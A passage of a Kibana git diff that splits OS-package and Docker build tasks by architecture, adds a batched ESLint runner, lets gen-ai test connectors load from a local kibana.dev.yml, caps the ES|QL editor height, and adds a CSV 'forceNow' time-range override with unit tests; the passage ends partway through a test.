a/src/dev/build/lib/build.ts +++ b/src/dev/build/lib/build.ts @@ -14,7 +14,6 @@ import { Platform } from './platform'; export class Build { private buildDesc: string = ''; - private buildArch: string = ''; private name = 'kibana'; private logTag = chalk`{cyan [ kibana ]}`; @@ -66,12 +65,4 @@ export class Build { getBuildDesc() { return this.buildDesc; } - - setBuildArch(arch: string) { - this.buildArch = arch; - } - - getBuildArch() { - return this.buildArch; - } } diff --git a/src/dev/build/lib/exec.test.ts b/src/dev/build/lib/exec.test.ts index 444dab6e3bb30..0b6d12641a580 100644 --- a/src/dev/build/lib/exec.test.ts +++ b/src/dev/build/lib/exec.test.ts @@ -32,7 +32,6 @@ jest.mock('./build', () => ({ Build: jest.fn().mockImplementation(() => ({ getBufferLogs: jest.fn().mockReturnValue(true), getBuildDesc: jest.fn().mockReturnValue('test-build'), - getBuildArch: jest.fn().mockReturnValue('x64'), })), })); @@ -77,7 +76,7 @@ describe('exec', () => { expect(testWriter.messages).toMatchInlineSnapshot(` Array [ - "--- ✅ test-build [x64]", + "--- ✅ test-build", " │ debg $ /node -e console.log(\\"buffered output\\")", " │ debg buffered output", ] @@ -106,7 +105,7 @@ describe('exec', () => { expect(testWriter.messages).toMatchInlineSnapshot(` Array [ - "--- ✅ test-build [x64]", + "--- ✅ test-build", " │ debg $ /node -e console.error(\\"error output: exit code 123\\")", " │ERROR error output: exit code 123", ] diff --git a/src/dev/build/lib/exec.ts b/src/dev/build/lib/exec.ts index 3421dea697d01..7eeac3fa6a443 100644 --- a/src/dev/build/lib/exec.ts +++ b/src/dev/build/lib/exec.ts @@ -42,7 +42,7 @@ const outputBufferedLogs = ( logs: LogLine[] | undefined, success: boolean ) => { - log.write(`--- ${success ? '✅' : '❌'} ${build.getBuildDesc()} [${build.getBuildArch()}]`); + log.write(`--- ${success ? '✅' : '❌'} ${build.getBuildDesc()}`); log.indent(4, () => { logBuildCmd(); @@ -70,7 +70,7 @@ export async function exec( }); if (bufferLogs) { - const isDockerBuild = cmd === './build_docker.sh'; + const isDockerBuild = cmd.startsWith('./build_docker'); const stdout$ = fromEvent(proc.stdout!, 'data').pipe( map((chunk) => handleBufferChunk(chunk, level)) ); diff --git a/src/dev/build/tasks/os_packages/create_os_package_tasks.ts b/src/dev/build/tasks/os_packages/create_os_package_tasks.ts index 8345c91edc65c..778b4902928c1 100644 --- a/src/dev/build/tasks/os_packages/create_os_package_tasks.ts +++ b/src/dev/build/tasks/os_packages/create_os_package_tasks.ts @@ -12,6 +12,9 @@ import { runFpm } from './run_fpm'; import { runDockerGenerator } from './docker_generator'; import { createOSPackageKibanaYML } from './create_os_package_kibana_yml'; +const X64 = '[x64]'; +const ARM64 = '[ARM64]'; + export const CreatePackageConfig: Task = { description: 'Creating OS package kibana.yml', @@ -20,8 +23,9 @@ export const CreatePackageConfig: Task = { }, }; -export const CreateDebPackage: Task = { - description: 'Creating deb package', +const debDesc = 'Creating deb package'; +export const CreateDebPackageX64: Task = { + description: `${debDesc} ${X64}`, async run(config, log, build) { await runFpm(config, log, build, 'deb', 'x64', [ @@ -32,7 +36,13 @@ export const CreateDebPackage: Task = { '--depends', ' adduser', ]); + }, +}; +export const CreateDebPackageARM64: Task = { + description: `${debDesc} ${ARM64}`, + + async run(config, log, build) { await runFpm(config, log, build, 'deb', 'arm64', [ '--architecture', 'arm64', @@ -44,8 +54,9 @@ export const CreateDebPackage: Task = { }, }; -export const CreateRpmPackage: Task = { - description: 'Creating rpm package', +const rpmDesc = 'Creating rpm package'; +export const CreateRpmPackageX64: Task = { + description: `${rpmDesc} ${X64}`, async run(config, log, build) { await runFpm(config, log, build, 'rpm', 'x64', [ @@ -54,6 +65,13 @@ export const CreateRpmPackage: Task = { '--rpm-os', 'linux', ]); + }, +}; + +export const CreateRpmPackageARM64: Task = { + description: `${rpmDesc} ${ARM64}`, + + async run(config, log, build) { await runFpm(config, log, build, 'rpm', 'arm64', [ '--architecture', 'aarch64', @@ -65,8 +83,9 @@ export const CreateRpmPackage: Task = { const dockerBuildDate = new Date().toISOString(); -export const CreateDockerWolfi: Task = { - description: 'Creating Docker Wolfi image', +const dockerWolfiDesc = 'Creating Docker Wolfi image'; +export const CreateDockerWolfiX64: Task = { + description: `${dockerWolfiDesc} ${X64}`, async run(config, log, build) { await runDockerGenerator(config, log, build, { @@ -76,6 +95,13 @@ export const CreateDockerWolfi: Task = { image: true, dockerBuildDate, }); + }, +}; + +export const CreateDockerWolfiARM64: Task = { + description: `${dockerWolfiDesc} ${ARM64}`, + + async run(config, log, build) { await runDockerGenerator(config, log, build, { architecture: 'aarch64', baseImage: 'wolfi', @@ -86,8 +112,9 @@ export const CreateDockerWolfi: Task = { }, }; -export const CreateDockerServerless: Task = { - description: 'Creating Docker Serverless image', +const dockerServerlessDesc = 'Creating Docker Serverless image'; +export const CreateDockerServerlessX64: Task = { + description: `${dockerServerlessDesc} ${X64}`, async run(config, log, build) { await runDockerGenerator(config, log, build, { @@ -98,6 +125,13 @@ export const CreateDockerServerless: Task = { image: true, dockerBuildDate, }); + }, +}; + +export const CreateDockerServerlessARM64: Task = { + description: `${dockerServerlessDesc} ${ARM64}`, + + async run(config, log, build) { await runDockerGenerator(config, log, build, { architecture: 'aarch64', baseImage: 'wolfi', @@ -109,8 +143,9 @@ export const CreateDockerServerless: Task = { }, }; -export const CreateDockerUBI: Task = { - description: 'Creating Docker UBI image', +const dockerUbiDesc = 'Creating Docker UBI image'; +export const CreateDockerUBIX64: Task = { + description: `${dockerUbiDesc} ${X64}`, async run(config, log, build) { await runDockerGenerator(config, log, build, { @@ -119,6 +154,13 @@ export const CreateDockerUBI: Task = { context: false, image: true, }); + }, +}; + +export const CreateDockerUBIARM64: Task = { + description: `${dockerUbiDesc} ${ARM64}`, + + async run(config, log, build) { await runDockerGenerator(config, log, build, { architecture: 'aarch64', baseImage: 'ubi', @@ -128,8 +170,9 @@ export const CreateDockerUBI: Task = { }, }; -export const CreateDockerCloud: Task = { - description: 'Creating Docker Cloud image', +const dockerCloudDesc = 'Creating Docker Cloud image'; +export const CreateDockerCloudX64: Task = { + description: `${dockerCloudDesc} ${X64}`, async run(config, log, build) { await runDockerGenerator(config, log, build, { @@ -139,6 +182,13 @@ export const CreateDockerCloud: Task = { cloud: true, image: true, }); + }, +}; + +export const CreateDockerCloudARM64: Task = { + description: `${dockerCloudDesc} ${ARM64}`, + + async run(config, log, build) { await runDockerGenerator(config, log, build, { architecture: 'aarch64', baseImage: 'wolfi', @@ -149,8 +199,9 @@ export const CreateDockerCloud: Task = { }, }; -export const CreateDockerCloudFIPS: Task = { - description: 'Creating Docker Cloud FIPS image', +const dockerCloudFipsDesc = 'Creating Docker Cloud FIPS image'; +export const CreateDockerCloudFIPSX64: Task = { + description: `${dockerCloudFipsDesc} ${X64}`, async run(config, log, build) { await runDockerGenerator(config, log, build, { @@ -161,6 +212,13 @@ export const CreateDockerCloudFIPS: Task = { fips: true, cloud: true, }); + }, +}; + +export const CreateDockerCloudFIPSARM64: Task = { + description: `${dockerCloudFipsDesc} ${ARM64}`, + + async run(config, log, build) { await runDockerGenerator(config, log, build, { architecture: 'aarch64', baseImage: 'wolfi', @@ -172,8 +230,9 @@ export const CreateDockerCloudFIPS: Task = { }, }; -export const CreateDockerFIPS: Task = { - description: 'Creating Docker FIPS image', +const dockerFipsDesc = 'Creating Docker FIPS image'; +export const CreateDockerFIPSX64: Task = { + description: `${dockerFipsDesc} ${X64}`, async run(config, log, build) { await runDockerGenerator(config, log, build, { diff --git a/src/dev/build/tasks/os_packages/docker_generator/run.ts b/src/dev/build/tasks/os_packages/docker_generator/run.ts index 41a3246ff36bb..10782eacd6619 100644 --- a/src/dev/build/tasks/os_packages/docker_generator/run.ts +++ b/src/dev/build/tasks/os_packages/docker_generator/run.ts @@ -74,7 +74,6 @@ export async function runDockerGenerator( const imageTag = `docker.elastic.co/${imageNamespace}/kibana`; const version = config.getBuildVersion(); const artifactArchitecture = flags.architecture === 'aarch64' ? 'aarch64' : 'x86_64'; - build.setBuildArch(artifactArchitecture); let artifactVariant = ''; if (flags.serverless) artifactVariant = '-serverless'; const artifactPrefix = `kibana${artifactVariant}-${version}-linux`; @@ -152,7 +151,14 @@ export async function runDockerGenerator( // Write all the needed docker config files // into kibana-docker folder for (const [, dockerTemplate] of Object.entries(dockerTemplates)) { - await write(resolve(dockerBuildDir, dockerTemplate.name), dockerTemplate.generator(scope)); + let filename: string; + if (!dockerTemplate.name.includes('kibana.yml')) { + filename = `${dockerTemplate.name}.${artifactArchitecture}`; + } else { + filename = dockerTemplate.name; + } + + await write(resolve(dockerBuildDir, filename), dockerTemplate.generator(scope)); } // Copy serverless-only configuration files @@ -183,7 +189,8 @@ export async function runDockerGenerator( // In order to do this we just call the file we // created from the templates/build_docker_sh.template.js // and we just run that bash script - await chmodAsync(`${resolve(dockerBuildDir, 'build_docker.sh')}`, '755'); + const dockerBuildScript = `build_docker.sh.${artifactArchitecture}`; + await chmodAsync(`${resolve(dockerBuildDir, dockerBuildScript)}`, '755'); // Only build images on native targets if (flags.image) { @@ -202,7 +209,7 @@ export async function runDockerGenerator( await linkAsync(src, dest); } - await exec(log, `./build_docker.sh`, [], { + await exec(log, `./${dockerBuildScript}`, [], { cwd: dockerBuildDir, level: 'info', build, diff --git a/src/dev/build/tasks/os_packages/docker_generator/templates/build_docker_sh.template.ts b/src/dev/build/tasks/os_packages/docker_generator/templates/build_docker_sh.template.ts index d383855865265..1514ad1d1a486 100644 --- a/src/dev/build/tasks/os_packages/docker_generator/templates/build_docker_sh.template.ts +++ b/src/dev/build/tasks/os_packages/docker_generator/templates/build_docker_sh.template.ts @@ -27,9 +27,10 @@ function generator({ (dockerTag ? dockerTag : version) + (dockerTagQualifier ? '-' + dockerTagQualifier : ''); const dockerTargetName = `${imageTag}${imageFlavor}:${tag}`; const dockerArchitecture = architecture === 'aarch64' ? 'linux/arm64' : 'linux/amd64'; + const dockerfileName = architecture === 'aarch64' ? 'Dockerfile.aarch64' : 'Dockerfile.x86_64'; const dockerBuild = dockerCrossCompile - ? `docker buildx build --platform ${dockerArchitecture} -t ${dockerTargetName} -f Dockerfile . || exit 1;` - : `docker build -t ${dockerTargetName} -f Dockerfile . || exit 1;`; + ? `docker buildx build --platform ${dockerArchitecture} -t ${dockerTargetName} -f ${dockerfileName} . || exit 1;` + : `docker build -t ${dockerTargetName} -f ${dockerfileName} . || exit 1;`; return dedent(` #!/usr/bin/env bash # diff --git a/src/dev/build/tasks/os_packages/run_fpm.ts b/src/dev/build/tasks/os_packages/run_fpm.ts index aab298e75ddd7..68178c322e6bb 100644 --- a/src/dev/build/tasks/os_packages/run_fpm.ts +++ b/src/dev/build/tasks/os_packages/run_fpm.ts @@ -23,7 +23,6 @@ export async function runFpm( ) { const linux = config.getPlatform('linux', architecture); const version = config.getBuildVersion(); - build.setBuildArch(architecture); const resolveWithTrailingSlash = (...paths: string[]) => `${resolve(...paths)}/`; diff --git a/src/dev/eslint/run_eslint_full.ts b/src/dev/eslint/run_eslint_full.ts new file mode 100644 index 0000000000000..a97b83b66cfce --- /dev/null +++ b/src/dev/eslint/run_eslint_full.ts @@ -0,0 +1,158 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the "Elastic License + * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side + * Public License v 1"; you may not use this file except in compliance with, at + * your election, the "Elastic License 2.0", the "GNU Affero General Public + * License v3.0 only", or the "Server Side Public License, v 1". + */ + +import { run } from '@kbn/dev-cli-runner'; +import { REPO_ROOT } from '@kbn/repo-info'; +import { ToolingLog } from '@kbn/tooling-log'; +import execa from 'execa'; + +const batchSize = 250; +const maxParallelism = 8; + +run( + async ({ log, flags }) => { + const bail = !!(flags.bail || false); + + const { batches, files } = getLintableFileBatches(); + log.info(`Found ${files.length} files in ${batches.length} batches to lint.`); + + const eslintArgs = + // Unexpected will contain anything meant for ESLint directly, like `--fix` + flags.unexpected + // ESLint has no cache by default + .concat([flags.cache ? '--cache' : '--no-cache']); + log.info( + `Running ESLint with args: ${pretty({ + args: eslintArgs, + batchSize, + maxParallelism, + })}` + ); + + const lintPromiseThunks = batches.map( + (batch, idx) => () => + lintFileBatch({ batch, idx, eslintArgs, batchCount: batches.length, bail, log }) + ); + const results = await runBatchedPromises(lintPromiseThunks, maxParallelism); + + const failedBatches = results.filter((result) => !result.success); + if (failedBatches.length > 0) { + log.error(`Linting errors found ❌`); + process.exit(1); + } else { + log.info('Linting successful ✅'); + } + }, + { + description: 'Run ESLint on all JavaScript/TypeScript files in the repository', + flags: { + boolean: ['bail', 'cache'], + default: { + bail: false, + cache: true, // Enable caching by default + }, + allowUnexpected: true, + help: ` + --bail Stop on the first linting error + --no-cache Disable ESLint caching + `, + }, + } +); + +function getLintableFileBatches() { + const files = execa + .sync('git', ['ls-files'], { + cwd: REPO_ROOT, + encoding: 'utf8', + }) + .stdout.trim() + .split('\n') + .filter((file) => file.match(/\.(js|mjs|ts|tsx)$/)); + const batches = []; + for (let i = 0; i < files.length; i += batchSize) { + batches.push(files.slice(i, i + batchSize)); + } + return { batches, files }; +} + +async function lintFileBatch({ + batch, + bail, + idx, + eslintArgs, + batchCount, + log, +}: { + batch: string[]; + bail: boolean; + idx: number; + eslintArgs: string[]; + batchCount: number; + log: ToolingLog; +}) { + log.info(`Running batch ${idx + 1}/${batchCount} with ${batch.length} files...`); + + const timeBefore = Date.now(); + const args = ['scripts/eslint'].concat(eslintArgs).concat(batch); + const { stdout, stderr, exitCode } = await execa('node', args, { + cwd: REPO_ROOT, + env: { + // Disable CI stats for individual runs, to avoid overloading ci-stats + CI_STATS_DISABLED: 'true', + }, + reject: bail, // Don't throw on non-zero exit code + }); + + const time = Date.now() - timeBefore; + if (exitCode !== 0) { + const errorMessage = stderr?.toString() || stdout?.toString(); + log.error(`Batch ${idx + 1}/${batchCount} failed (${time}ms) ❌: ${errorMessage}`); + return { + success: false, + idx, + time, + error: errorMessage, + }; + } else { + log.info(`Batch ${idx + 1}/${batchCount} success (${time}ms) ✅: ${stdout.toString()}`); + return { + success: true, + idx, + time, + }; + } +} + +function runBatchedPromises( + promiseCreators: Array<() => Promise>, + maxParallel: number +): Promise { + const results: T[] = []; + let i = 0; + + const next: () => Promise = () => { + if (i >= promiseCreators.length) { + return Promise.resolve(); + } + + const promiseCreator = promiseCreators[i++]; + return Promise.resolve(promiseCreator()).then((result) => { + results.push(result); + return next(); + }); + }; + + const tasks = Array.from({ length: maxParallel }, () => next()); + return Promise.all(tasks).then(() => results); +} + +function pretty(obj: any) { + return JSON.stringify(obj, null, 2); +} diff --git a/src/dev/run_eslint.js b/src/dev/run_eslint.js index 142531be96c7c..29839a2d518ff 100644 --- a/src/dev/run_eslint.js +++ b/src/dev/run_eslint.js @@ -7,39 +7,55 @@ * License v3.0 only", or the "Server Side Public License, v 1". */ -import yargs from 'yargs'; +import { run } from '@kbn/dev-cli-runner'; import { eslintBinPath } from './eslint'; -let quiet = true; -if (process.argv.includes('--no-quiet')) { - quiet = false; -} else { - process.argv.push('--quiet'); -} - -const options = yargs(process.argv).argv; process.env.KIBANA_RESOLVER_HARD_CACHE = 'true'; -if (!options._.length && !options.printConfig) { - process.argv.push('.'); -} - -if (!process.argv.includes('--no-cache')) { - process.argv.push('--cache'); -} - -if (!process.argv.includes('--ext')) { - process.argv.push('--ext', '.js,.mjs,.ts,.tsx'); -} - -// common-js is required so that logic before this executes before loading eslint -require(eslintBinPath); // eslint-disable-line import/no-dynamic-require - -if (quiet) { - process.on('exit', (code) => { - if (!code) { - console.log('✅ no eslint errors found'); +if (process.argv.includes('--help') || process.argv.includes('-h')) { + console.log( + "This is a wrapper around ESLint's CLI that sets some defaults - see Eslint's help for flags:" + ); + require(eslintBinPath); // eslint-disable-line import/no-dynamic-require +} else { + run( + ({ flags }) => { + flags._ = flags._ || []; + + // verbose is only a flag for our CLI runner, not for ESLint + if (process.argv.includes('--verbose')) { + process.argv.splice(process.argv.indexOf('--verbose'), 1); + } else { + process.argv.push('--quiet'); + } + + if (flags.cache) { + process.argv.push('--cache'); + } + + if (!flags._.ext) { + process.argv.push('--ext', '.js,.mjs,.ts,.tsx'); + } + + // common-js is required so that logic before this executes before loading eslint + // requiring the module is still going to pass along all flags + require(eslintBinPath); // eslint-disable-line import/no-dynamic-require + + process.on('exit', (code) => { + if (!code) { + console.log('✅ no eslint errors found'); + } + }); + }, + { + description: 'Run ESLint on all JavaScript/TypeScript files in the repository', + usage: 'node scripts/eslint.js [options] [...]', + flags: { + allowUnexpected: true, + boolean: ['cache', 'fix', 'quiet'], + string: ['ext'], + }, } - }); + ); } diff --git a/src/dev/storybook/aliases.ts b/src/dev/storybook/aliases.ts index 7f855ee8591ed..eb58dfd7035ae 100644 --- a/src/dev/storybook/aliases.ts +++ b/src/dev/storybook/aliases.ts @@ -60,6 +60,7 @@ export const storybookAliases = { // security_solution_packages: 'x-pack/solutions/security/packages/storybook/config', serverless: 'src/platform/packages/shared/serverless/storybook/config', shared_ux: 'src/platform/packages/private/shared-ux/storybook/config', + streams_app: 'x-pack/platform/plugins/shared/streams_app/.storybook', triggers_actions_ui: 'x-pack/platform/plugins/shared/triggers_actions_ui/.storybook', ui_actions_enhanced: 'src/platform/plugins/shared/ui_actions_enhanced/.storybook', unified_search: 'src/platform/plugins/shared/unified_search/.storybook', diff --git a/src/platform/packages/private/kbn-esql-editor/src/esql_editor.tsx b/src/platform/packages/private/kbn-esql-editor/src/esql_editor.tsx index ebdf295870f86..604cb42f20e3b 100644 --- a/src/platform/packages/private/kbn-esql-editor/src/esql_editor.tsx +++ b/src/platform/packages/private/kbn-esql-editor/src/esql_editor.tsx @@ -57,6 +57,7 @@ import { EDITOR_INITIAL_HEIGHT, EDITOR_INITIAL_HEIGHT_INLINE_EDITING, RESIZABLE_CONTAINER_INITIAL_HEIGHT, + EDITOR_MAX_HEIGHT, esqlEditorStyles, } from './esql_editor.styles'; import type { ESQLEditorProps, ESQLEditorDeps, ControlsContext } from './types'; @@ -882,7 +883,11 @@ export const ESQLEditor = memo(function ESQLEditor({ const lineCount = editor.getModel()?.getLineCount() || 1; const padding = lineHeight * 1.25; // Extra line at the bottom, plus a bit more to compensate for hidden vertical scrollbars const height = editor.getTopForLineNumber(lineCount + 1) + padding; - if (height > editorHeight) setEditorHeight(height); + if (height > editorHeight && height < EDITOR_MAX_HEIGHT) { + setEditorHeight(height); + } else if (height >= EDITOR_MAX_HEIGHT) { + setEditorHeight(EDITOR_MAX_HEIGHT); + } } editor.onDidLayoutChange((layoutInfoEvent) => { onLayoutChangeRef.current(layoutInfoEvent); diff --git a/src/platform/packages/private/kbn-gen-ai-functional-testing/README.md b/src/platform/packages/private/kbn-gen-ai-functional-testing/README.md index df33821142e1d..a4267eb5ddbdd 100644 --- a/src/platform/packages/private/kbn-gen-ai-functional-testing/README.md +++ b/src/platform/packages/private/kbn-gen-ai-functional-testing/README.md @@ -30,7 +30,45 @@ export default async function ({ readConfigFile }: FtrConfigProviderContext) { } ``` -then the `getAvailableConnectors` can be used during the test suite to retrieve the list of LLM connectors. +### Connector configuration sources + +`@kbn/gen-ai-functional-testing` can discover connectors from two different sources: + +1. **CI / automated runs** – set the environment variable + `KIBANA_TESTING_AI_CONNECTORS` with the base-64-encoded JSON payload that you + want to feed into `xpack.actions.preconfigured`. This is what the Buildkite + pipeline does. +2. **Local developer machines** – if the environment variable is **not** set and + the process is **not** running in CI (`process.env.CI` is undefined), the + package falls back to reading `config/kibana.dev.yml` in the repo root and + extracts the `xpack.actions.preconfigured` section. This lets you keep your + personal connector secrets out of env vars. + +If the env var is missing **and** the code is executing in CI, an error is +thrown to avoid silent mis-configuration. + +### Typical workflow + +1. **Local development** + Add your connector definition to `config/kibana.dev.yml`: + + ```yaml + xpack.actions.preconfigured: + my-gpt-4o: + name: GPT-4o Azure + actionTypeId: .gen-ai + config: + apiUrl: https://.../chat/completions?api-version=2025-01-01-preview + apiProvider: Azure OpenAI + secrets: + apiKey: + ``` + +2. **CI** + Generate the same YAML as JSON, base-64 encode it and export as + `KIBANA_TESTING_AI_CONNECTORS` before running the FTR suite. + +If one of these sources is available, the `getAvailableConnectors` can be used during the test suite to retrieve the list of LLM connectors. For example to run some predefined test suite against all exposed LLM connectors: diff --git a/src/platform/packages/private/kbn-gen-ai-functional-testing/src/connectors.ts b/src/platform/packages/private/kbn-gen-ai-functional-testing/src/connectors.ts index 6bfe3f7030484..6a6f80572d369 100644 --- a/src/platform/packages/private/kbn-gen-ai-functional-testing/src/connectors.ts +++ b/src/platform/packages/private/kbn-gen-ai-functional-testing/src/connectors.ts @@ -8,6 +8,11 @@ */ import { schema } from '@kbn/config-schema'; +import Path from 'path'; +import Fs from 'fs'; +import { load } from 'js-yaml'; +import { mapValues } from 'lodash'; +import { REPO_ROOT } from '@kbn/repo-info'; /** * The environment variable that is used by the CI to load the connectors configuration @@ -20,7 +25,7 @@ const connectorsSchema = schema.recordOf( name: schema.string(), actionTypeId: schema.string(), config: schema.recordOf(schema.string(), schema.any()), - secrets: schema.recordOf(schema.string(), schema.any()), + secrets: schema.maybe(schema.recordOf(schema.string(), schema.any())), }) ); @@ -28,28 +33,79 @@ export interface AvailableConnector { name: string; actionTypeId: string; config: Record; - secrets: Record; + secrets?: Record; } export interface AvailableConnectorWithId extends AvailableConnector { id: string; } +/** + * Try to read the connectors configuration from the local `config/kibana.dev.yml` + * file. This allows developers to define `xpack.actions.preconfigured` connectors + * in their local Kibana config without having to set the `KIBANA_TESTING_AI_CONNECTORS` + * environment variable. + */ +const getConnectorsFromKibanaDevYml = (): Record => { + try { + const configDir = Path.join(REPO_ROOT, './config'); + + const kibanaDevConfigPath = Path.join(configDir, 'kibana.dev.yml'); + + const configPath = Fs.existsSync(kibanaDevConfigPath) ? kibanaDevConfigPath : undefined; + + if (!configPath) { + return {}; + } + + const parsedConfig = (load(Fs.readFileSync(configPath, 'utf8')) || {}) as Record< + string, + unknown + >; + + const preconfiguredConnectors = (parsedConfig['xpack.actions.preconfigured'] || {}) as Record< + string, + AvailableConnector + >; + + return mapValues(preconfiguredConnectors, ({ actionTypeId, config, name, secrets }) => { + // make sure we don't send in any additional properties + return { + actionTypeId, + config, + name, + secrets, + }; + }); + } catch (err) { + // eslint-disable-next-line no-console + console.warn(`Unable to read connectors from Kibana config file: ${(err as Error).message}`); + return {}; + } +}; + const loadConnectors = (): Record => { const envValue = process.env[AI_CONNECTORS_VAR_ENV]; - if (!envValue) { - return {}; + if (envValue) { + let connectors: Record; + try { + connectors = JSON.parse(Buffer.from(envValue, 'base64').toString('utf-8')); + } catch (e) { + throw new Error( + `Error trying to parse value from ${AI_CONNECTORS_VAR_ENV} environment variable: ${ + (e as Error).message + }` + ); + } + return connectorsSchema.validate(connectors); } - let connectors: Record; - try { - connectors = JSON.parse(Buffer.from(envValue, 'base64').toString('utf-8')); - } catch (e) { - throw new Error( - `Error trying to parse value from KIBANA_AI_CONNECTORS environment variable: ${e.message}` - ); + // don't attempt to read from kibana.dev.yml on CI + if (process.env.CI) { + throw new Error(`Can't read connectors, env variable ${AI_CONNECTORS_VAR_ENV} is not set`); } - return connectorsSchema.validate(connectors); + + return connectorsSchema.validate(getConnectorsFromKibanaDevYml()); }; /** diff --git a/src/platform/packages/private/kbn-generate-csv/src/generate_csv.ts b/src/platform/packages/private/kbn-generate-csv/src/generate_csv.ts index 5ed92df84c581..4f5c5f4f6a690 100644 --- a/src/platform/packages/private/kbn-generate-csv/src/generate_csv.ts +++ b/src/platform/packages/private/kbn-generate-csv/src/generate_csv.ts @@ -9,7 +9,7 @@ import moment from 'moment'; import type { Writable } from 'stream'; - +import type { Filter } from '@kbn/es-query'; import { errors as esErrors, estypes } from '@elastic/elasticsearch'; import type { IScopedClusterClient, IUiSettingsClient, Logger } from '@kbn/core/server'; import type { ISearchClient } from '@kbn/search-types'; @@ -34,6 +34,7 @@ import type { ReportingConfigType } from '@kbn/reporting-server'; import { TaskErrorSource, createTaskRunError } from '@kbn/task-manager-plugin/server'; import { CONTENT_TYPE_CSV } from '../constants'; import type { JobParamsCSV } from '../types'; +import { overrideTimeRange } from './lib/override_time_range'; import { getExportSettings, type CsvExportSettings } from './lib/get_export_settings'; import { i18nTexts } from './lib/i18n_texts'; import { MaxSizeStringBuilder } from './lib/max_size_string_builder'; @@ -277,6 +278,24 @@ export class CsvGenerator { throw new Error(`The search must have a reference to an index pattern!`); } + if (this.job.forceNow) { + this.logger.debug(`Overriding time range filter using forceNow: ${this.job.forceNow}`); + + const currentFilters = searchSource.getField('filter') as Filter[] | Filter | undefined; + this.logger.debug(() => `Current filters: ${JSON.stringify(currentFilters)}`); + const updatedFilters = overrideTimeRange({ + currentFilters, + forceNow: this.job.forceNow, + logger: this.logger, + }); + this.logger.debug(() => `Updated filters: ${JSON.stringify(updatedFilters)}`); + + if (updatedFilters) { + searchSource.removeField('filter'); // remove existing filters + searchSource.setField('filter', updatedFilters); + } + } + const { maxSizeBytes, bom, escapeFormulaValues, timezone } = settings; const indexPatternTitle = index.getIndexPattern(); const builder = new MaxSizeStringBuilder(this.stream, byteSizeValueToNumber(maxSizeBytes), bom); diff --git a/src/platform/packages/private/kbn-generate-csv/src/lib/override_time_range.test.ts b/src/platform/packages/private/kbn-generate-csv/src/lib/override_time_range.test.ts new file mode 100644 index 0000000000000..577cac6f7aa5d --- /dev/null +++ b/src/platform/packages/private/kbn-generate-csv/src/lib/override_time_range.test.ts @@ -0,0 +1,609 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the "Elastic License + * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side + * Public License v 1"; you may not use this file except in compliance with, at + * your election, the "Elastic License 2.0", the "GNU Affero General Public + * License v3.0 only", or the "Server Side Public License, v 1". + */ + +import { overrideTimeRange } from './override_time_range'; +import { loggingSystemMock } from '@kbn/core/server/mocks'; + +const mockLogger = loggingSystemMock.createLogger(); + +describe('overrideTimeRange', () => { + it('should return modified time range filter', () => { + const filter = { + meta: { + field: '@timestamp', + index: '0bde9920-4ade-4c19-8043-368aa37f1dae', + params: {}, + }, + query: { + range: { + '@timestamp': { + format: 'strict_date_optional_time', + gte: '2025-01-01T19:38:24.286Z', + lte: '2025-01-01T20:03:24.286Z', + }, + }, + }, + }; + + const updated = overrideTimeRange({ + currentFilters: filter, + forceNow: '2025-06-18T19:55:00.000Z', + logger: mockLogger, + }); + expect(updated).toEqual([ + { + meta: { + field: '@timestamp', + index: '0bde9920-4ade-4c19-8043-368aa37f1dae', + params: {}, + }, + query: { + range: { + '@timestamp': { + format: 'strict_date_optional_time', + gte: '2025-06-18T19:30:00.000Z', + lte: '2025-06-18T19:55:00.000Z', + }, + }, + }, + }, + ]); + }); + + it('should return modified time range in filter array', () => { + const filter = [ + { + meta: { + field: '@timestamp', + index: '0bde9920-4ade-4c19-8043-368aa37f1dae', + params: {}, + }, + query: { + range: { + '@timestamp': { + format: 'strict_date_optional_time', + gte: '2025-01-01T19:38:24.286Z', + lte: '2025-01-01T20:03:24.286Z', + }, + }, + }, + }, + ]; + + const updated = overrideTimeRange({ + currentFilters: filter, + forceNow: '2025-06-18T19:55:00.000Z', + logger: mockLogger, + }); + expect(updated).toEqual([ + { + meta: { + field: '@timestamp', + index: '0bde9920-4ade-4c19-8043-368aa37f1dae', + params: {}, + }, + query: { + range: { + '@timestamp': { + format: 'strict_date_optional_time', + gte: '2025-06-18T19:30:00.000Z', + lte: '2025-06-18T19:55:00.000Z', + }, + }, + }, + }, + ]); + }); + + it('should return modified time range in the filter array when timestamp field is not @timestamp', () => { + const filter = [ + { + meta: { + field: 'event.start', + index: '0bde9920-4ade-4c19-8043-368aa37f1dae', + params: {}, + }, + query: { + range: { + 'event.start': { + format: 'strict_date_optional_time', + gte: '2025-01-01T19:38:24.286Z', + lte: '2025-01-01T20:03:24.286Z', + }, + }, + }, + }, + ]; + + const updated = overrideTimeRange({ + currentFilters: filter, + forceNow: '2025-06-18T19:55:00.000Z', + logger: mockLogger, + }); + expect(updated).toEqual([ + { + meta: { + field: 'event.start', + index: '0bde9920-4ade-4c19-8043-368aa37f1dae', + params: {}, + }, + query: { + range: { + 'event.start': { + format: 'strict_date_optional_time', + gte: '2025-06-18T19:30:00.000Z', + lte: '2025-06-18T19:55:00.000Z', + }, + }, + }, + }, + ]); + }); + + it('should maintain the same filter order', () => { + const filter = [ + { + $state: { + store: 'appState', + }, + meta: { + alias: null, + disabled: false, + field: 'event.action', + index: '0bde9920-4ade-4c19-8043-368aa37f1dae', + key: 'event.action', + negate: false, + params: ['a', 'b', 'c'], + type: 'phrases', + value: ['a', 'b', 'c'], + }, + query: { + bool: { + minimum_should_match: 1, + should: [ + { + match_phrase: { + 'event.action': 'a', + }, + }, + { + match_phrase: { + 'event.action': 'b', + }, + }, + { + match_phrase: { + 'event.action': 'c', + }, + }, + ], + }, + }, + }, + { + meta: { + field: 'event.start', + index: '0bde9920-4ade-4c19-8043-368aa37f1dae', + params: {}, + }, + query: { + range: { + 'event.start': { + format: 'strict_date_optional_time', + gte: '2025-01-01T19:38:24.286Z', + lte: '2025-01-01T20:03:24.286Z', + }, + }, + }, + }, + { + $state: { + store: 'appState', + }, + meta: { + alias: null, + disabled: false, + field: 'another.range.field', + index: '0bde9920-4ade-4c19-8043-368aa37f1dae', + key: 'another.range.field', + negate: false, + params: { + gte: '0', + lt: '10', + }, + type: 'range', + value: { + gte: '0', + lt: '10', + }, + }, + query: { + range: { + 'another.range.field': { + gte: '0', + lt: '10', + }, + }, + }, + }, + ]; + + const updated = 